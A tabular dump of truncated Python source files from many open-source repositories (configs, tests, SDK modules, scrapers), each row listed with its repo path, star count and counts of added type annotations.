max_stars_repo_path
string
max_stars_repo_name
string
max_stars_count
int64
id
string
content
string
add_param_types
int64
add_return_types
int64
add_class_field_types
int64
add_instance_field_types
int64
add_total
int64
add_error
int64
freeze/hooks/runtime-hooks.py
PyExplorer/shub
111
1756482
<reponame>PyExplorer/shub<filename>freeze/hooks/runtime-hooks.py from __future__ import absolute_import import os import sys os.environ['REQUESTS_CA_BUNDLE'] = os.path.join( sys._MEIPASS, 'requests', 'cacert.pem')
0
0
0
0
0
0
examples/pxScene2d/external/libnode-v0.12.7/deps/uv/samples/socks5-proxy/build.gyp
madanagopaltcomcast/pxCore
1,086
1756550
<reponame>madanagopaltcomcast/pxCore # Copyright StrongLoop, Inc. All rights reserved. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the ...
0
0
0
0
0
0
setup.py
AmesCornish/inql
696
1756558
#!/usr/bin/env python from setuptools import setup import distutils.cmd import distutils.log def version() -> object: return os.popen('git describe --tags --dirty').read().strip()[1:] class GenerateVersion(distutils.cmd.Command): """A custom command to create version file.""" description: str = 'run Pylint on...
0
1
2
0
3
0
kotti/resources.py
Kotti/Kotti
191
1756573
""" The :mod:`~kotti.resources` module contains all the classes for Kotti's persistence layer, which is based on SQLAlchemy. Inheritance Diagram ------------------- .. inheritance-diagram:: kotti.resources """ import abc import datetime import os import warnings from cgi import FieldStorage from collections.abc impor...
0
0
0
0
0
1
libcst/matchers/tests/test_findall.py
jschavesr/LibCST
880
1756580
# Copyright (c) Meta Platforms, Inc. and affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # from textwrap import dedent from typing import Optional, Sequence import libcst as cst import libcst.matchers as m import libcst.metadata...
5
11
2
2
20
0
modoboa/dnstools/api/v2/tests.py
Ranoiaetep/modoboa
1,602
1756595
"""API v2 tests.""" from django.urls import reverse from modoboa.admin import factories as admin_factories from modoboa.admin import models as admin_models from modoboa.dnstools import factories from modoboa.lib.tests import ModoAPITestCase class DNSViewSetTestCase(ModoAPITestCase): @classmethod def setUpT...
0
0
0
0
0
0
configs/ote/custom-object-detection/gen3_resnet50_VFNet/model.py
morkovka1337/mmdetection
775
1756619
_base_ = ['./coco_data_pipeline.py'] model = dict( type='VFNet', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=True), norm_eval=True, style='pytorch'), ne...
0
0
0
0
0
0
31_08_20/flaskr/venv/lib/python3.8/site-packages/mongoengine/base/utils.py
A9K5/Python_Flask
3,314
1756620
import re class LazyRegexCompiler: """Descriptor to allow lazy compilation of regex""" def __init__(self, pattern, flags: int=0): self._pattern = pattern self._flags = flags self._compiled_regex: None = None @property def compiled_regex(self) -> object: if self._compi...
1
2
0
1
4
0
tests/test_parser/test_oneof.py
alekseyl1992/pyrobuf
578
1756631
<reponame>alekseyl1992/pyrobuf from pyrobuf.parse_proto import Parser proto_def = """ syntax = "proto3"; message LBService { // Virtual IP used by clients to reach the service behind load balancers. string vip = 1; oneof ServiceName { // URL used by clients to reach service behind load balancers. strin...
0
0
0
0
0
0
querybuilder/tests/apps.py
wesokes/django-query-builder
110
1756634
from django.apps import AppConfig class QuerybuilderTestConfig(AppConfig): name: str = 'querybuilder.tests' label: str = 'querybuilder_tests' verbose_name: str = 'querybuilder Tests'
0
0
3
0
3
0
amazon/amazon/items.py
intel9911/amazon-scrapy
275
1756653
<reponame>intel9911/amazon-scrapy # -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class CateItem(scrapy.Item): title = scrapy.Field() link = scrapy.Field() level = scrapy.Field() pid ...
0
0
0
0
0
0
Chapter 10/restful_python_chapter_10_04/async_api.py
Mohamed2011-bit/Building-RESTful-Python-Web-Services
116
1756662
<gh_stars>100-1000 """ Book: Building RESTful Python Web Services Chapter 10: Working with asynchronous code, testing and deploying an API with Tornado Author: <NAME> - Twitter.com/gastonhillar Publisher: Packt Publishing Ltd. - http://www.packtpub.com """ import status from datetime import date from tornado import web...
0
0
0
0
0
0
modules/dbnd/src/dbnd/_core/access.py
busunkim96/dbnd
224
1756667
from typing import Any, Dict, Optional, Type, Union import six from dbnd._core.current import try_get_databand_run from dbnd._core.parameter.parameter_definition import ParameterDefinition from dbnd._core.parameter.parameter_value import ParameterFilters from dbnd._core.task.base_task import _BaseTask def get_remot...
0
3
0
0
3
0
mmpdblib/properties_io.py
trumanw/mmpdb
102
1756702
# mmpdb - matched molecular pair database generation and analysis # # Copyright (c) 2015-2017, <NAME> Ltd. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above ...
0
4
0
0
4
0
examples/pybullet/gym/pybullet_envs/minitaur/envs_v2/env_wrappers/walking_wrapper.py
felipeek/bullet3
9,136
1756712
<reponame>felipeek/bullet3 """Wraps a quadruped walking controller for navigation control.""" from typing import Any import gin from gym import spaces import numpy as np from pybullet_envs.minitaur.agents.baseline_controller import com_velocity_estimator from pybullet_envs.minitaur.agents.baseline_controller import l...
0
0
0
0
0
0
urlserver/id_generator.py
commonsearch/cosr-back
141
1756714
<filename>urlserver/id_generator.py from __future__ import absolute_import, division, print_function, unicode_literals import mmh3 from lru import LRU # pylint: disable=no-name-in-module from cosrlib.url import tld_extract # TODO: run analytics on common crawl to get a larger list COMMON_URLS = { "": 0, "/in...
0
0
0
0
0
0
allenact_plugins/ithor_plugin/ithor_tasks.py
brandontrabucco/allenact
187
1756739
import random from typing import Dict, Tuple, List, Any, Optional, Union, Sequence, cast import gym import numpy as np from allenact.base_abstractions.misc import RLStepResult from allenact.base_abstractions.sensor import Sensor from allenact.base_abstractions.task import Task from allenact.utils.system import get_lo...
0
0
0
0
0
1
pandapower/pypower/idx_area.py
Zamwell/pandapower
104
1756748
<filename>pandapower/pypower/idx_area.py<gh_stars>100-1000 # Copyright 1996-2015 PSERC. All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. """Defines constants for named column indices to areas matrix. The index, name and meaning of each column o...
0
0
0
0
0
0
Datasets/listdataset.py
doudoulaile/RL-GAN-Net
112
1756753
from __future__ import annotations import torch.utils.data as data import os import os.path #from plyfile import PlyData, PlyElement from Datasets.plyfile.plyfile import PlyData import numpy as np #import main import args as args def load_ply(dir,file_name, with_faces: bool=False, with_color: bool=False) -> object: ...
8
4
0
0
12
0
asdl/lang/alive_lang/alive/codegen.py
AlexShypula/tranX
203
1756764
<filename>asdl/lang/alive_lang/alive/codegen.py # Copyright 2014-2015 The Alive authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #...
0
0
0
0
0
0
mayan/apps/appearance/__init__.py
eshbeata/open-paperless
2,743
1756789
from __future__ import unicode_literals default_app_config = 'appearance.apps.AppearanceApp'
0
0
0
0
0
0
pc/fmcw3.py
Ador2/fmcw3
145
1756793
import pylibftdi as ftdi from adf4158 import ADF4158 from queue import Queue, Empty from threading import Thread import datetime class FMCW3(): def __init__(self): SYNCFF = 0x40 SIO_RTS_CTS_HS = (0x1 << 8) self.device = ftdi.Device(mode='b', interface_select=ftdi.INTERFACE_A) self.d...
0
0
0
0
0
0
vivisect/impemu/platarch/h8.py
rnui2k/vivisect
716
1756806
import envi.archs.h8.emu as h8_emu import envi.archs.h8.regs as h8_regs import vivisect.impemu.emulator as v_i_emulator class H8WorkspaceEmulator(v_i_emulator.WorkspaceEmulator, h8_emu.H8Emulator): taintregs: list[object] = [h8_regs.REG_ER0, h8_regs.REG_ER1, h8_regs.REG_ER2] def __init__(self, vw, **kwargs)...
0
0
1
0
1
0
libraries/botframework-streaming/botframework/streaming/transport/web_socket/web_socket_message_type.py
andreikop/botbuilder-python
388
1756868
<reponame>andreikop/botbuilder-python # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. from enum import IntEnum class WebSocketMessageType(IntEnum): # websocket spec types CONTINUATION = 0 TEXT = 1 BINARY = 2 PING = 9 PONG = 10 CLOSE = 8
0
0
0
0
0
0
aws_lambda_powertools/__init__.py
Sordie/aws-lambda-powertools-python
1,208
1756899
<gh_stars>1000+ # -*- coding: utf-8 -*- """Top-level package for Lambda Python Powertools.""" from .logging import Logger # noqa: F401 from .metrics import Metrics, single_metric # noqa: F401 from .package_logger import set_package_logger_handler from .tracing import Tracer # noqa: F401 __author__ = """Amazon We...
0
0
0
0
0
0
extraPackages/Pillow-6.0.0/Tests/test_file_sun.py
dolboBobo/python3_ios
130
1756910
from .helper import unittest, PillowTestCase, hopper from PIL import Image, SunImagePlugin import os EXTRA_DIR = 'Tests/images/sunraster' class TestFileSun(PillowTestCase): def test_sanity(self): # Arrange # Created with ImageMagick: convert hopper.jpg hopper.ras test_file = "Tests/ima...
0
0
0
0
0
0
tools/pythonpkg/tests/fast/arrow/parquet_write_roundtrip.py
AldoMyrtaj/duckdb
2,816
1756922
<gh_stars>1000+ import duckdb import pytest import tempfile import numpy import pandas import datetime try: import pyarrow as pa can_run = True except: can_run = False def parquet_types_test(type_list): temp = tempfile.NamedTemporaryFile() temp_name = temp.name for type_pair in type_list: ...
0
0
0
0
0
0
alipay/aop/api/domain/AlipayIserviceMindvTroublefreeruleConsultModel.py
antopen/alipay-sdk-python-all
213
1756928
<filename>alipay/aop/api/domain/AlipayIserviceMindvTroublefreeruleConsultModel.py<gh_stars>100-1000 #!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class AlipayIserviceMindvTroublefreeruleConsultModel(object): def __init__(self): self._job_i...
0
0
0
0
0
0
modules/nltk_contrib/scripttranscriber/perceptron_trainer_unittest.py
h4ck3rm1k3/NLP-project
123
1756973
<filename>modules/nltk_contrib/scripttranscriber/perceptron_trainer_unittest.py<gh_stars>100-1000 # -*- coding: utf-8 -*- ## Licensed under the Apache License, Version 2.0 (the "License"); ## you may not use this file except in compliance with the License. ## You may obtain a copy of the License at ## ## http://w...
0
0
0
0
0
0
record_product_information/GetProductRank.py
WuLC/AmazonRobot
119
1756981
# -*- coding: utf-8 -*- # @Author: LC # @Date: 2016-08-25 22:19:42 # @Last modified by: LC # @Last Modified time: 2016-09-02 22:09:13 # @Email: <EMAIL> from selenium import webdriver from bs4 import BeautifulSoup # PhantomJS 无法完全解释,某些项无法获取 #driver = webdriver.PhantomJS(executable_path = r'H:/PythonModule/phantom...
0
0
0
0
0
0
tests/test_datasets.py
karthik20122001/docker-python
2,030
1756983
from __future__ import annotations import json import os import threading import unittest from http.server import BaseHTTPRequestHandler, HTTPServer from test.support import EnvironmentVarGuard from urllib.parse import urlparse from kaggle_web_client import (KaggleWebClient, _KAGGLE_URL_BAS...
3
2
0
0
5
0
vega/networks/tensorflow/utils/hyperparams/regularizer.py
jie311/vega
724
1756992
<reponame>jie311/vega # -*- coding: utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARR...
0
0
0
0
0
0
h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_6876_HGLM_initial_values.py
kernelrich/h2o-3
6,098
1757022
from builtins import range import sys sys.path.insert(1,"../../../") import h2o from tests import pyunit_utils from h2o.estimators.glm import H2OGeneralizedLinearEstimator # in this test, I compare H2O HGLM runs with and without stating starting values. def test_HGLM_R(): h2o_data = h2o.import_file(path=pyunit_ut...
0
0
0
0
0
0
dbaas/account/helper.py
didindinn/database-as-a-service
303
1757048
<filename>dbaas/account/helper.py # -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from django.conf import settings from dbaas import features import logging LOG = logging.getLogger(__name__) def get_ldap_connection(): import ldap server = settings.AUTH_LDAP_SERVER_URI us...
0
0
0
0
0
0
src/backend/common/auth.py
ofekashery/the-blue-alliance
266
1757061
<gh_stars>100-1000 import datetime from typing import Any, Dict, Optional from firebase_admin import auth from flask import session from backend.common.firebase import app from backend.common.models.user import User _SESSION_KEY = "session" # Code from https://firebase.google.com/docs/auth/admin/manage-cookies ...
0
0
0
0
0
0
robo_gym/envs/ur/ur_base_avoidance_env.py
psFournier/robo-gym
236
1757078
<filename>robo_gym/envs/ur/ur_base_avoidance_env.py<gh_stars>100-1000 #!/usr/bin/env python3 import copy import numpy as np import gym from scipy.spatial.transform import Rotation as R from robo_gym.utils import utils from robo_gym_server_modules.robot_server.grpc_msgs.python import robot_server_pb2 from robo_gym.utils...
0
0
0
0
0
0
atlas/foundations_rest_api/src/foundations_rest_api/__init__.py
DeepLearnI/atlas
296
1757096
<filename>atlas/foundations_rest_api/src/foundations_rest_api/__init__.py from foundations_rest_api.v2beta import * from foundations_rest_api.versioning import __version__ from foundations_rest_api.config import *
0
0
0
0
0
0
workloads/bit/hpl/format_results.py
mkunin-nvidia/deepops
748
1757100
<filename>workloads/bit/hpl/format_results.py #!/usr/bin/python3 # # format_results.py # # This script will format the results from an HPL # experiment and write them into a comma separated file # to be read into a spreadsheet for additional analysis. import sys import os import subprocess import getopt import re def...
0
0
0
0
0
0
code/stable/gooltest/python/HelloWorld/Helper.py
smiths/Drasil
114
1757114
<reponame>smiths/Drasil ## \brief This function adds two numbers # \param num1 First number to add # \param num2 Second number to add # \return Sum def doubleAndAdd(num1, num2): doubledSum = 2.0 * num1 + 2.0 * num2 return doubledSum
0
0
0
0
0
0
OUTDATED/supremeFinal.py
zweed4u/new_supr3m31059
111
1757123
#!/bin/env python2.7 # Run around 1059 as early as 1055. # Polling times vary pick something nice. # Ghost checkout timer can be changed by # adjusting for loop range near bottom. # Fill out personal data in checkout payload dict. #TODO: wrap search and checkout in function #implement better threading/search thread ...
0
0
0
0
0
0
webdriver/tests/accept_alert/accept.py
meyerweb/wpt
14,668
1757146
<reponame>meyerweb/wpt import pytest from webdriver.error import NoSuchAlertException from tests.support.asserts import assert_error, assert_success from tests.support.helpers import wait_for_new_handle from tests.support.sync import Poll def accept_alert(session): return session.transport.send( "POST",...
0
0
0
0
0
0
test/MSVC/msvc.py
jcassagnol-public/scons
1,403
1757209
<filename>test/MSVC/msvc.py #!/usr/bin/env python # # MIT License # # Copyright The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without...
0
0
0
0
0
0
python/ql/test/library-tests/frameworks/fastapi/basic.py
angie1148/codeql
643
1757273
# Taking inspiration from https://realpython.com/fastapi-python-web-apis/ # run with # uvicorn basic:app --reload # Then visit http://127.0.0.1:8000/docs and http://127.0.0.1:8000/redoc from fastapi import FastAPI app = FastAPI() @app.get("/") # $ routeSetup="/" async def root() -> dict[str,str]: # $ requestHandler...
6
8
3
0
17
0
qiskit-textbook-src/qiskit_textbook/problems/__init__.py
e-ntro-py/qiskit-textbook
182
1757277
<gh_stars>100-1000 from qiskit import QuantumCircuit import numpy as np from qiskit.circuit.library import Diagonal def dj_problem_oracle(problem, to_gate=True): """Returns a 5-qubit Deutsch-Joza Oracle""" qc = QuantumCircuit(5) int(problem) if problem == 1: for q in range(4): qc.cx...
0
0
0
0
0
0
tests/unit_tests/test_lattice_discretization.py
RyotaroOKabe/openmc
123
1757304
<filename>tests/unit_tests/test_lattice_discretization.py from tests.unit_tests.test_lattice import zr, pincell1, pincell2, rlat2 def test_discretization_degenerate(rlat2): rlat_clone = rlat2.clone() rlat_clone.discretize() assert rlat_clone.get_universe((0, 0)).id !=\ rlat_clone.get_universe(...
0
0
0
0
0
0
Config/generate_cluster_synonyms_config.py
DiceTechJobs/ConceptualSearch
265
1757306
from config_base import ConfigurationBase class GenerateClusterSynonymsConfig(ConfigurationBase): def __init__(self, fname): ConfigurationBase.__init__(self, fname) self.keywords_files = self.__getstring__("DEFAULT", "keyword_files").split(",") self.num_clusters = self.__getint__...
0
0
0
0
0
0
manage.py
zengqingfu1442/beijing_bus
313
1757314
<reponame>zengqingfu1442/beijing_bus # -*-coding:utf-8-*- import time import click from datetime import datetime from beijing_bus import BeijingBus, cache @click.group() def cmd_group(): pass @cmd_group.command(help='build or re-build the cache') def build_cache(): import logging logging.basicConfig(le...
0
0
0
0
0
0
wotan/huber_spline.py
danielrios12/Wotan---filtro-de-dados
118
1757330
from __future__ import annotations from __future__ import print_function, division import numpy as np import scipy.interpolate def detrend_huber_spline(time, flux, mask, knot_distance) -> object: """Robust B-Spline regression with scikit-learn""" try: from sklearn.base import TransformerMixin...
1
4
0
0
5
0
examples/build_all.py
leenipper/gweb
185
1757333
import subprocess from argparse import ArgumentParser from pathlib import Path from shutil import copytree, rmtree import yaml from jinja2 import Environment, FileSystemLoader env = Environment( loader=FileSystemLoader('.'), extensions=['jinja2_markdown.MarkdownExtension'], ) parser = ArgumentParser() pars...
0
2
0
0
2
0
dbaas/maintenance/async_jobs/restart_database.py
perry-contribs/database-as-a-service
303
1757334
from maintenance.async_jobs import BaseJob from maintenance.models import RestartDatabase __all__ = ('RestartDatabaseJob',) class RestartDatabaseJob(BaseJob): step_manger_class = RestartDatabase get_steps_method: str = 'restart_database_steps' success_msg: str = 'Database restarted with success' err...
0
1
3
0
4
0
projectq/backends/_ionq/_ionq_test.py
ssc1729/ProjectQ
795
1757337
# -*- coding: utf-8 -*- # Copyright 2021 ProjectQ-Framework (www.projectq.ch) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # ...
1
16
0
0
17
0
Python/Embed for your customers/AppOwnsData/services/pbiembedservice.py
AdamRiddick/PowerBI-Developer-Samples
611
1757345
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from __future__ import annotations from services.aadservice import AadService from models.reportconfig import ReportConfig from models.embedtoken import EmbedToken from models.embedconfig import EmbedConfig from models.embedtokenrequestbody impor...
5
6
0
0
11
0
sdk/servermanager/azure-mgmt-servermanager/azure/mgmt/servermanager/operations/power_shell_operations.py
rsdoherty/azure-sdk-for-python
2,728
1757385
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
30
15
0
1
46
0
utils/lexbor/html/convert_html5_tests.py
jda/lexbor
496
1757393
<reponame>jda/lexbor<filename>utils/lexbor/html/convert_html5_tests.py import glob import re import ntpath class Converter: def __init__(self, dir_path): self.entries = {} files = glob.glob("{}/*.dat".format(dir_path)) for filename in files: entries = [] fh = ope...
0
0
0
0
0
0
recipes/Python/440507_Changing_background_color_menu_bar/recipe-440507.py
tdiprima/code
2,023
1757425
<reponame>tdiprima/code<filename>recipes/Python/440507_Changing_background_color_menu_bar/recipe-440507.py # This script demonstrates changing the color of the menu bar/individual # menus in a wxPython UI for the Win32 platform # Requires # - ctypes to access the user32 and gdi32 modules, to set up structures # and o...
0
0
0
0
0
0
fred/clients/categories.py
dmpe/FRB
107
1757449
from __future__ import annotations from fred.utils import NamespacedClient, query_params from fred.helpers import _get_request class CategoriesClient(NamespacedClient): """ Class for working with FRED categories """ @query_params() def details(self,category_id: object | None=None,response_type: ob...
19
6
0
0
25
0
fastmri_recon/models/subclassed_models/post_processing_3d.py
samiulshuvo/fastmri-reproducible-benchmark
105
1757451
import tensorflow as tf from tensorflow.keras.models import Model from fastmri_recon.models.subclassed_models.vnet import Vnet from fastmri_recon.models.utils.pad_for_pool import pad_for_pool_whole_plane class PostProcessVnet(Model): def __init__(self, recon_model, vnet_kwargs, from_kspace: bool=False, **kwargs)...
2
2
0
0
4
0
girder/cli/sftpd.py
HailLab/girder
395
1757468
<filename>girder/cli/sftpd.py # -*- coding: utf-8 -*- import click import os import paramiko import sys from girder import logprint from girder.api.sftp import SftpServer DEFAULT_PORT = 8022 @click.command(name='sftpd', short_help='Run the Girder SFTP service.', help='Run the Girder SFTP service.') @...
0
0
0
0
0
0
main_app/migrations/0007_auto_20200118_2040.py
phucle103198/nirspepper
110
1757470
<filename>main_app/migrations/0007_auto_20200118_2040.py<gh_stars>100-1000 # Generated by Django 2.2.5 on 2020-01-18 15:10 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('main_app', '0006_remove_consultation_messages'), ] operations = [ migrati...
0
0
0
0
0
0
workflow/helpers/linter.py
mathren/showyourwork
119
1757542
<reponame>mathren/showyourwork from pathlib import Path ROOT = Path(".").absolute().parents[1] ROOT_URL = "https://github.com/rodluger/showyourwork-template/raw/main" REQUIRED_DIRS = [ ROOT / ".github", ROOT / ".github" / "workflows", ROOT / "src", ROOT / "src" / "figures", ] REQUIRED_FILES = [ R...
0
0
0
0
0
0
utils/__init__.py
GavinGuan95/HAWQ
215
1757566
<filename>utils/__init__.py<gh_stars>100-1000 from .data_utils import * from .models.q_mobilenetv2 import * from .models.q_inceptionv3 import * from .models.q_resnet import *
0
0
0
0
0
0
mava/systems/tf/mappo/training.py
sash-a/Mava
337
1757574
<gh_stars>100-1000 # python3 # Copyright 2021 InstaDeep Ltd. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless...
0
0
0
0
0
0
kitsune/dashboards/tests/test_templates.py
AndrewDVXI/kitsune
929
1757578
<reponame>AndrewDVXI/kitsune from nose.tools import eq_ from pyquery import PyQuery as pq from kitsune.sumo.tests import TestCase from kitsune.sumo.urlresolvers import reverse from kitsune.users.tests import UserFactory from kitsune.wiki.tests import TranslatedRevisionFactory class LocalizationDashTests(TestCase): ...
0
0
0
0
0
0
src/bindings/swig/python/examples/example_kdb.py
dev2718/libelektra
188
1757581
import kdb # open database with kdb.KDB() as db: ks = kdb.KeySet(100) # get keys db.get(ks, "user:/MyApp") # check if key exists try: key = ks["user:/MyApp/mykey"] except KeyError: # create a new key + append to keyset key = kdb.Key("user:/MyApp/mykey") ks.append(key) # change keys value key.value = ...
0
0
0
0
0
0
ichnaea/tests/test_db.py
szjozsef/ichnaea
348
1757592
"""Tests for database related functionality.""" import pytest from pymysql.constants.ER import CONSTRAINT_FAILED, LOCK_WAIT_TIMEOUT, LOCK_DEADLOCK from pymysql.err import InternalError, MySQLError, OperationalError from sqlalchemy.exc import InterfaceError, StatementError from ichnaea.db import retry_on_mysql_lock_fa...
0
0
0
0
0
0
09-경쟁하며_학습하는_GAN/gan.py
melonicedlatte/3-min-pytorch
219
1757625
#!/usr/bin/env python # coding: utf-8 # # GAN으로 새로운 패션아이템 생성하기 # *GAN을 이용하여 새로운 패션 아이템을 만들어봅니다* # 이 프로젝트는 최윤제님의 파이토치 튜토리얼 사용 허락을 받아 참고했습니다. # * [yunjey/pytorch-tutorial](https://github.com/yunjey/pytorch-tutorial) - MIT License import os import torch import torchvision import torch.nn as nn import torch.optim as opti...
0
0
0
0
0
0
tests/api_workflow/test_api_workflow_sampling.py
Tekrific/lightly
1,515
1757628
from lightly.active_learning.config.sampler_config import SamplerConfig from lightly.openapi_generated.swagger_client import TagData from tests.api_workflow.mocked_api_workflow_client import MockedApiWorkflowSetup class TestApiWorkflowSampling(MockedApiWorkflowSetup): def test_sampling(self): self.api_wor...
0
0
0
0
0
0
litex/soc/cores/ram/__init__.py
osterwood/litex
1,501
1757634
<reponame>osterwood/litex<gh_stars>1000+ # Xilinx # Intel # Lattice from litex.soc.cores.ram.lattice_ice40 import Up5kSPRAM from litex.soc.cores.ram.lattice_nx import NXLRAM
0
0
0
0
0
0
third_party/ibis/ibis_addon/datatypes.py
ajw0100/professional-services-data-validator
167
1757637
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
0
0
0
0
0
0
Firmware/sampler.py
deafloo/ODrive
1,068
1757665
#!/usr/bin/python2 # run openocd (0.9.0) with : # $ openocd -f interface/stlink-v2.cfg -f target/stm32f4x.cfg &> /dev/null & # then run # $ python sampler.py path_to_myelf_with_symbols # ctrl-c to stop sampling. # To terminate the openocd session, enter command "fg" then do ctrl-c. from __future__ import annotations ...
3
2
0
2
7
0
py/main.py
FedorZaytsev/mtproto
146
1757691
<reponame>FedorZaytsev/mtproto from __future__ import print_function import grpc import tl_pb2 import tl_pb2_grpc def run(): channel = grpc.insecure_channel('localhost:11011') stub = tl_pb2_grpc.MtprotoStub(channel) peer = tl_pb2.TypeInputPeer(InputPeerEmpty = tl_pb2.PredInputPeerEmpty()) response =...
0
0
0
0
0
0
python/opae.admin/opae/admin/tools/regmap_debugfs.py
peturingi/opae-sdk
220
1757695
<reponame>peturingi/opae-sdk """ Copyright(c) 2020, Intel Corporation Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of condi...
0
0
0
0
0
0
cellphonedb/src/core/models/cluster_counts/cluster_counts_helper.py
BioTuring-Notebooks/CellphoneDB
278
1757696
<filename>cellphonedb/src/core/models/cluster_counts/cluster_counts_helper.py<gh_stars>100-1000 import itertools import pandas as pd from cellphonedb.src.core.core_logger import core_logger def get_cluster_combinations(cluster_names): return list(itertools.product(cluster_names, repeat=2)) def apply_threshold...
0
0
0
0
0
0
xbox/webapi/api/provider/userstats/models.py
Landcross/xbox-webapi-python
122
1757759
<reponame>Landcross/xbox-webapi-python from typing import List, Optional from xbox.webapi.common.models import LowerCaseModel, PascalCaseModel class GeneralStatsField: MINUTES_PLAYED = "MinutesPlayed" class GroupProperties(PascalCaseModel): ordinal: Optional[str] sort_order: Optional[str] display_n...
0
0
0
0
0
0
4-5.Bert-seq2seq/load_data.py
techthiyanes/nlp-notebook
136
1757779
<gh_stars>100-1000 # -*- coding: utf-8 -*- import csv import torch import torch.utils.data as tud from torch.nn.utils.rnn import pad_sequence from tokenizer import Tokenizer TRAIN_DATA_PATH = './data/train.tsv' DEV_DATA_PATH = './data/dev.tsv' MAX_LEN = 512 BATCH_SIZE = 32 def collate_fn(batch_data): """ Data...
0
0
0
0
0
0
keraspp/aiprt.py
soyoung9306/-3-keras
200
1757807
<gh_stars>100-1000 """ Pretrained methods - MIT Licence - <NAME> """ import numpy as np from keras import backend as K from keras.models import Model from keras.layers import Dense, GlobalAveragePooling2D, Dropout, BatchNormalization from keras.applications.imagenet_utils import preprocess_input from keras.applications...
0
0
0
0
0
0
tests/gamestonk_terminal/stocks/discovery/test_finnhub_model.py
Aerex/GamestonkTerminal
1,835
1757808
<reponame>Aerex/GamestonkTerminal # IMPORTATION STANDARD # IMPORTATION THIRDPARTY import pytest import requests # IMPORTATION INTERNAL from gamestonk_terminal.stocks.discovery import finnhub_model @pytest.fixture(scope="module") def vcr_config(): return { "filter_query_parameters": [ ("from"...
0
0
0
0
0
0
fabric_bolt/core/themes.py
jooni22/fabric-bolt
219
1757819
<filename>fabric_bolt/core/themes.py PLAIN = 'bootstrap.min.css' CERULEAN = 'cerulean.min.css' COSMO = 'cosmo.min.css' CYBORG = 'cyborg.min.css' DARKLY = 'darkly.min.css' FLATLY = 'flatly.min.css' JOURNAL = 'journal.min.css' LUMEN = 'lumen.min.css' PAPER = 'paper.min.css' READABLE = 'readable.min.css' SANDSTONE = 'sand...
0
0
0
0
0
0
plenum/test/node_request/test_propagate/test_num_of_sufficient_propagate.py
jandayanan/indy-plenum
148
1757834
<reponame>jandayanan/indy-plenum<filename>plenum/test/node_request/test_propagate/test_num_of_sufficient_propagate.py<gh_stars>100-1000 import pytest from stp_core.common.util import adict from plenum.test.malicious_behaviors_node import makeNodeFaulty, changesRequest nodeCount = 7 faultyNodes = 2 # Max failures sys...
0
0
0
0
0
0
ll.py
KIRITOLTR/adversarial
3,627
1757839
<gh_stars>1000+ import numpy as np import sys from theano import function from theano import tensor as T _, model_path, sigma = sys.argv from pylearn2.utils import serial model = serial.load(model_path) from pylearn2.config import yaml_parse dataset = yaml_parse.load(model.dataset_yaml_src) dataset = dataset.get_test...
0
0
0
0
0
0
lldb/test/API/lang/swift/clangimporter/remap_sdk_path/TestSwiftRemapSDKPath.py
zhongwuzw/llvm-project
605
1757880
import lldb from lldbsuite.test.lldbtest import * from lldbsuite.test.decorators import * import lldbsuite.test.lldbutil as lldbutil import os import unittest2 class TestSwiftRewriteClangPaths(TestBase): mydir = TestBase.compute_mydir(__file__) def setUp(self): TestBase.setUp(self) @skipUnlessDa...
0
0
0
0
0
0
data/transcoder_evaluation_gfg/python/FIND_INDEX_0_REPLACED_1_GET_LONGEST_CONTINUOUS_SEQUENCE_1S_BINARY_ARRAY.py
mxl1n/CodeGen
241
1757923
# Copyright (c) 2019-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # def f_gold ( arr , n ) -> object : max_count = 0 max_index = 0 prev_zero = - 1 prev_prev_zero = - 1 for curr...
0
1
0
0
1
0
setup.py
freskoulix/dryscrape
520
1757924
<filename>setup.py from distutils.core import setup, Command setup(name='dryscrape', version='1.0.1', description='a lightweight Javascript-aware, headless web scraping library for Python', author='<NAME>', author_email='<EMAIL>', license='MIT', url='https://github.com/niklasb/drysc...
0
0
0
0
0
0
ractf2020/fiap/exploit.py
nhtri2003gmail/ctf-write-ups
101
1757947
